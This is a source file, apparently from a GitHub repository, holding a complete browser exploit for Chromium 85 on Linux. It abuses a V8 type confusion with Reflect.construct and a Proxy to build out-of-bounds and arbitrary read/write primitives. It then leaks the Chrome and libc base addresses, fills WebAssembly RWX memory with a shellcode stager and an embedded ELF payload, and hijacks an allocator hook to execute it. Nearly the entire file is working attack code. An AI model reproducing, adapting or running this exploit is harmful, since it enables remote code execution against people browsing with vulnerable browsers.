-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathtmp.html
More file actions
395 lines (321 loc) · 17.6 KB
/
tmp.html
File metadata and controls
395 lines (321 loc) · 17.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
<!DOCTYPE html>
<html>
<head>
<script src="elf.js"></script>
<script src="embedded.js"></script>
</head>
<body>
<script>
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) {
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) {
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
function exploit() {
function force_gc() {
for (var i = 0; i < 0x80000; ++i) {
var a = new ArrayBuffer();
}
}
function empty() {}
function f(nt) {
a.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy
? 2.2
: 2261634.000029185);
for(let i = 0; i < 0x100000; i++) {}
}
let p = new Proxy(Object, {
get: function() {
a[0] = {};
b = [1.2, 1.2];
return Object.prototype;
}
});
function main(o) {
for (let i = 0; i < 0x100000; i++) {}
f(o);
}
function oob() {
for(let i = 0; i < 0x100000; i++) empty();
main(empty);
main(empty);
main(p)
}
let a = [,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,1.1];
let b;
oob();
let c = [1.1, 1.1, 1.1]
let d = [{}, {}];
let e = new Float64Array(8)
let flt_map = ftoi(b[14]) >> 32n;
let obj_map = ftoi(b[25]) >> 32n;
console.log("[+] OOB array lenght: " + b.length);
// fixed offsets for Chromium Linux Version 85.0.4154.0
const kBaseSearchSpaceOffset = 0xa500000n;
const kHooksEnabled = 0xa7bade8 //base::PartitionAllocHooks::hooks_enabled_
const kFreeObserverHook = 0xa7badf8 //base::PartitionAllocHooks::free_observer_hook_
const kGOTOffset = 0xa6df418; //GOT offset for chrome
const kWasmCodeGC = 0xa6ea141; //v8::internal::FLAG_wasm_code_gc
function addrof(obj) {
let tmp = b[14];
b[14] = itof(((obj_map << 32n) + (ftoi(tmp) & 0xffffffffn)));
let tmp_elm = c[0];
c[0] = obj;
b[14] = itof(((flt_map << 32n) + (ftoi(tmp) & 0xffffffffn)));
let leak = itof(ftoi(c[0]) & 0xffffffffn);
b[14] = tmp;
c[0] = tmp_elm;
return leak;
}
function weak_read(addr) {
let tmp = b[15];
b[15] = itof((((ftoi(addr)-8n) << 32n) + (ftoi(tmp) & 0xffffffffn)));
let result = c[0];
b[15] = tmp;
return result;
}
function weak_write(addr, what) {
let tmp = b[15];
b[15] = itof((((ftoi(addr)-8n) << 32n) + (ftoi(tmp) & 0xffffffffn)));
c[0] = what;
b[15] = tmp;
return;
}
let root_isolate_addr = itof(ftoi(addrof(e)) + BigInt(5*8));
let root_isolate = itof(ftoi(weak_read(root_isolate_addr)) & ~(0xffn))
console.log("[+] Root Isolate: 0x" + ftoi(root_isolate).toString(16));
// creating a set of temporary AB to create (GC unsafe) arb read/write primitives
// that allows an qword to be read/written to an 8 byte unboxed address (not possible with weak_write)
let bff = new ArrayBuffer(8)
let bff1 = new ArrayBuffer(8)
let dataview = new DataView(bff);
let dataview1 = new DataView(bff1);
let buf_addr = addrof(bff);
let backing_store_addr = itof(ftoi(buf_addr) + 0x14n);
backing_store_addr = itof(ftoi(root_isolate) | ftoi(backing_store_addr) -1n);
let buf_addr1 = addrof(bff1);
let backing_store_addr1 = itof(ftoi(buf_addr1) + 0x14n);
// overwritting the value of backing_store of 2 with the address of 1
// to be able to overwrite the backing_store of 1 by writting to 2
weak_write(backing_store_addr1, backing_store_addr);
function set_arb_primitive_backing_store(boxed, addr,
backing_store_addr_=backing_store_addr,
root_isolate_=root_isolate) {
if (boxed && ftoi(addr) % 2n != 0) {
addr = itof(ftoi(root_isolate_) | ftoi(addr) -1n);
}
dataview1.setBigUint64(0, ftoi(addr), true);
}
function arb_read(addr, len, boxed=false) {
let result;
set_arb_primitive_backing_store(boxed, addr)
// dereferencing backing_store AB 1
if (len == 1) {
result = dataview.getUint8(0)
} else if (len == 2) {
result = dataview.getUint16(0, true)
} else if (len == 4) {
result = dataview.getUint32(0, true)
} else {
result = dataview.getBigUint64(0, true);
}
return result;
}
function arb_write(addr, val, len, boxed=false) {
set_arb_primitive_backing_store(boxed, addr)
if (len == 1) {
dataview.setUint8(0, val)
} else if (len == 2) {
dataview.setUint16(0, val, true)
} else if (len == 4) {
dataview.setUint32(0, val, true)
} else {
dataview.setBigUint64(0, val, true);
}
return;
}
function get_image_base(ptr) {
let dword = 0;
let centinel = ptr;
while (dword !== 0x464c457f) {
centinel -= 0x1000n;
dword = arb_read(itof(centinel), 4);
}
return centinel;
}
/// constructing stable addrof
let lo_array_obj = new Array(1048577);
let elements_ptr = weak_read(itof(ftoi(addrof(lo_array_obj)) + 8n));
elements_ptr = itof(ftoi(elements_ptr) & 0xffffffffn)
let leak_array_buffer = new ArrayBuffer(0x10);
let dd = new DataView(leak_array_buffer)
let leak_array_buffer_addr = ftoi(addrof(leak_array_buffer))
let backing_store_ptr = itof(leak_array_buffer_addr + 0x14n);
elements_ptr = itof(ftoi(root_isolate) | ftoi(elements_ptr) -1n);
weak_write(backing_store_ptr, elements_ptr)
function stable_addrof(obj) {
lo_array_obj[0] = obj;
return itof(BigInt(dd.getUint32(0x8, true)));
}
// constructing stable read for v8 heap
let heap = new ArrayBuffer(8);
let heap_accesor = new DataView(heap);
let heap_addr_backing_store = itof(ftoi(stable_addrof(heap)) + 0x14n);
let heap_accesor_length = itof(ftoi(stable_addrof(heap_accesor)) + 0x18n);
weak_write(heap_addr_backing_store, root_isolate)
weak_write(heap_accesor_length, 0xffffffff);
// retrieving chrome image base
let div = window.document.createElement('div');
let div_addr = stable_addrof(div);
let _HTMLDivElement = itof(ftoi(div_addr) + 0xCn);
let HTMLDivElement_addr = weak_read(_HTMLDivElement);
let chrome_ptr = itof((ftoi(HTMLDivElement_addr) - kBaseSearchSpaceOffset) & ~(0xfffn));
let chrome_base = get_image_base(ftoi(chrome_ptr));
console.log("[*] Chrome base : 0x" + chrome_base.toString(16));
// constructing GC safe chrome arb read/write
let chrome_mem = new ArrayBuffer(8);
let chrome_accesor = new DataView(chrome_mem);
let addr = stable_addrof(chrome_mem);
weak_write(itof(ftoi(addr) + 0x14n), itof(chrome_base));
weak_write(itof(ftoi(stable_addrof(chrome_accesor)) + 0x18n), 0xffffffff);
// constructing GC safe libc arb read/write
let libc_leak = chrome_accesor.getFloat64(kGOTOffset, true);
libc_leak = itof(ftoi(libc_leak) & ~(0xfffn));
let libc_base = get_image_base(ftoi(libc_leak));
console.log("[+] Libc base: 0x" + libc_base.toString(16))
let libc_mem = new ArrayBuffer(8);
let libc_accesor = new DataView(libc_mem);
addr = stable_addrof(libc_mem);
weak_write(itof(ftoi(addr) + 0x14n), itof(libc_base));
weak_write(itof(ftoi(stable_addrof(libc_accesor)) + 0x18n), 0xffffffff);
// invoking GCs
force_gc(); // Minor GC
force_gc();
new ArrayBuffer(0x80000000) // Major GC
// ----------------------------------------- We are GC safe from here
// Retrieving stack infoleak from libc envrion symbol
let elf = new Elf(libc_base, libc_accesor);
let environ_addr = elf.resolve_reloc("__environ", R_X86_64_GLOB_DAT);
let stack_leak = libc_accesor.getBigUint64(Number(environ_addr-libc_base), true)
console.log("[+] environ@libc: 0x" + stack_leak.toString(16))
// setting a safe address for SHELF stack
let shelf_stack = (stack_leak-0x80000n) & ~(0xfffn);
let shelf_delta = Number(sizeof_Elf64_Ehdr + (BigInt(G_AT_PHNUM) * sizeof_Elf64_Phdr));
console.log("[+] SHELF stack: 0x" + shelf_stack.toString(16));
// constructing accessor for SHELF stack
let stack_mem = new ArrayBuffer(8);
let stack_accesor = new DataView(stack_mem);
let bstore_addr = itof(ftoi(stable_addrof(stack_mem)) + 0x14n);
let dview_length = itof(ftoi(stable_addrof(stack_accesor)) + 0x18n)
heap_accesor.setBigUint64(Number(ftoi(bstore_addr)-1n), BigInt(shelf_stack), true);
heap_accesor.setUint32(Number(ftoi(dview_length)-1n), 0xffffffff, true);
var wasm_code = new Uint8Array(
[
0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,
1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,
0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,
128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,
111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,
128,0,1,132,128,128,128,0,0,65,0,11
]
);
// forcing V8 to generate a continuous RWX memory region of 0x801000 bytes
console.log("[+] Allocating RWX memory");
for (let i = 0; i < 0x10000; i++) {
new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
}
// disabling garbage collection of wasm code
chrome_accesor.setBigUint64(kWasmCodeGC, 0n);
// retrieving start address of RWX region
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let wasm_entry = wasm_instance.exports.main;
let wasm_instance_addr = stable_addrof(wasm_instance);
wasm_instance_addr = ftoi(wasm_instance_addr) + 0x68n -1n;
console.log("[+] WASM instance: 0x" + wasm_instance_addr.toString(16))
let rwx_page_addr = itof(heap_accesor.getBigUint64(Number(wasm_instance_addr), true));
console.log("[+] RWX region: 0x"+ ftoi(rwx_page_addr).toString(16));
// constructing SHELF image
function setup_shelf(addr, payload, len) {
let wasm_mem = new ArrayBuffer(8);
let wasm_accessor = new DataView(wasm_mem);
let wasm_bstore_addr = itof(ftoi(stable_addrof(wasm_mem)) + 0x14n);
let wasm_dview_length = itof(ftoi(stable_addrof(wasm_accessor)) + 0x18n)
heap_accesor.setBigUint64(Number(ftoi(wasm_bstore_addr)-1n), ftoi(addr), true);
heap_accesor.setUint32(Number(ftoi(wasm_dview_length)-1n), 0xffffffff, true);
function bigint_to_array(val) {
var arr = [0, 0, 0, 0, 0, 0, 0, 0];
for ( var i = 0; i < arr.length; i++, val >>= 8) {
let byte = Number(val & 0xffn);
arr[i] = byte;
}
return arr;
};
/* [stager] :
48 b8 42 42 42 42 42 42 42 42 movabs rax,0x4242424242424242
48 89 c4 mov rsp,rax
48 31 db xor rbx,rbx
48 31 c9 xor rcx,rcx
48 31 d2 xor rdx,rdx
48 31 f6 xor rsi,rsi
48 31 ff xor rdi,rdi
48 b8 41 41 41 41 41 41 41 41 movabs rax,0x4141414141414141
ff e0 jmp rax
*/
let stack_addr_bytes = bigint_to_array(shelf_stack - BigInt(8*3));
let entry_point_bytes = bigint_to_array(ftoi(rwx_page_addr) + BigInt(G_AT_ENTRY))
let stager = new Uint8Array([
0x48, 0xB8,
...stack_addr_bytes,
0x48, 0x89, 0xc4,
0x48, 0x31, 0xdb,
0x48, 0x31, 0xc9,
0x48, 0x31, 0xd2,
0x48, 0x31, 0xf6,
0x48, 0x31, 0xff,
0x48, 0xb8,
...entry_point_bytes,
0xff, 0xe0
]);
console.log("[+] Constructing stager")
for (let i = 0; i < stager.length; i++) {
wasm_accessor.setUint8(i, stager[i]);
}
for (let i = 0; i < len; i++) {
wasm_accessor.setUint8(shelf_delta+i, payload[i]);
}
}
console.log("[+] Constructing SHELF image of size " + payload_len);
setup_shelf(rwx_page_addr, payload, payload_len)
// constructing Auxv in SHELF stack
console.log("[+] Constructing Auxiliar vector in SHELF stack")
let phdr_addr = ftoi(stable_addrof(phdr)) + 0x28n;
let phdr_addr_bstore = heap_accesor.getBigUint64(Number(phdr_addr -1n), true)
stack_accesor.setBigUint64(0x00, AT_PHDR, true);
stack_accesor.setBigUint64(0x08, phdr_addr_bstore, true);
stack_accesor.setBigUint64(0x10, AT_PHNUM, true);
stack_accesor.setBigUint64(0x18, BigInt(G_AT_PHNUM), true);
stack_accesor.setBigUint64(0x20, AT_ENTRY, true);
stack_accesor.setBigUint64(0x28, ftoi(rwx_page_addr) + BigInt(G_AT_ENTRY), true);
stack_accesor.setBigUint64(0x30, AT_RANDOM, true);
stack_accesor.setBigUint64(0x38, ftoi(rwx_page_addr), true);
stack_accesor.setBigUint64(0x40, AT_PHENT, true);
stack_accesor.setBigUint64(0x48, sizeof_Elf64_Phdr, true);
stack_accesor.setBigUint64(0x50, AT_NULL, true);
stack_accesor.setBigUint64(0x58, 0n, true);
console.log("[+] Executing SHELF!")
//wasm_entry();
chrome_accesor.setUint8(kHooksEnabled, 1);
chrome_accesor.setBigUint64(kFreeObserverHook, ftoi(rwx_page_addr), true);
}
exploit()
</script>
</body>
</html>